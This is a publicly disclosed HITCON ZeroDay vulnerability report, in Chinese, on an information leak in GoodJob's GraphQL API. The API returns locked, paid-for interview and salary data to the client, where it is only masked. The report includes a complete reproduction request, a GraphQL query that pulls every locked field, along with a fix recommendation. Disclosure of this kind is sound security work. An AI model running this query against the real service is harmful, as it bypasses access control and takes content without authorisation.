www.goodjob.life Information Leakage - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00425
  •  發信 Vendor: GoodJob
  • Title: www.goodjob.life Information Leakage
  • Introduction: response直接回傳使用者無權讀取的資料

處理狀態

目前狀態

公開
Last Update : 2023/10/15
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/08/15 16:10:04 : 新提交 (由 D13 更新此狀態)
  • 2023/08/16 16:12:55 : 新提交 (由 D13 更新此狀態)
  • 2023/08/17 16:07:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/31 16:26:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/31 16:26:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/31 16:26:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/10/15 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00425
  • 通報者:kims0113 (D13)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://api.goodjob.life/graphql

敘述

漏洞描述

使用者在發送搜尋request後,response會將使用者無權看到的資訊都回傳到前端,再由前端做遮擋。若直接觀看response即可不需解鎖就取得資料。取得的資料是必須要花錢或是寫文章才可以兌換的內容,故推測該資料洩漏較為嚴重。

重現漏洞

request: https://api.goodjob.life/graphql

method: POST

data:

{
  "query": "\nquery($companyName: String!) {\n  company(name: $companyName) {\n    interview_experiences {\n      id\n      type\n      company {\n        name\n      }\n      job_title {\n        name\n      }\n      region\n      experience_in_year\n      education\n      salary {\n        amount\n        type\n      }\n      title\n      sections {\n        subtitle\n        content\n      }\n      created_at\n      reply_count\n      like_count\n      overall_rating\n    }\n    work_experiences {\n      id\n      type\n      company {\n        name\n      }\n      job_title {\n        name\n      }\n    \tregion\n      experience_in_year\n      education\n      salary {\n        amount\n        type\n      }\n      title\n      sections {\n        subtitle\n        content\n      }\n      created_at\n      reply_count\n      like_count\n      recommend_to_others\n    }\n    salary_work_times {\n      id\n      week_work_time\n      salary {\n        type\n        amount\n      }\n      sector\n      day_real_work_time\n      day_promised_work_time\n      experience_in_year\n      estimated_hourly_wage\n      overtime_frequency\n      employment_type\n      job_title {\n        name\n      }\n      company {\n        name\n      }\n      data_time {\n        month\n        year\n      }\n    }\n    salary_work_time_statistics {\n      count\n      average_estimated_hourly_wage\n      average_week_work_time\n      overtime_frequency_count {\n        seldom\n        sometimes\n        usually\n        almost_everyday\n      }\n      is_overtime_salary_legal_count {\n        yes\n        no\n        unknown\n      }\n      has_compensatory_dayoff_count {\n        yes\n        no\n        unknown\n      }\n      has_overtime_salary_count {\n        yes\n        no\n        unknown\n      }\n      job_average_salaries {\n        job_title {\n          name\n        }\n        average_salary {\n          type\n          amount\n        }\n        data_count\n      }\n    }\n  }\n}\n",
  "variables": {
    "companyName": "欲搜尋之公司名稱"
  }
}

下圖列出實際操作時的request與response,response已打碼。response即包含所有使用者需解鎖之資料。
圖片

修補建議

由後端事先判斷使用者權限,後端將無權訪問的資料事先刪除再回應該請求。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;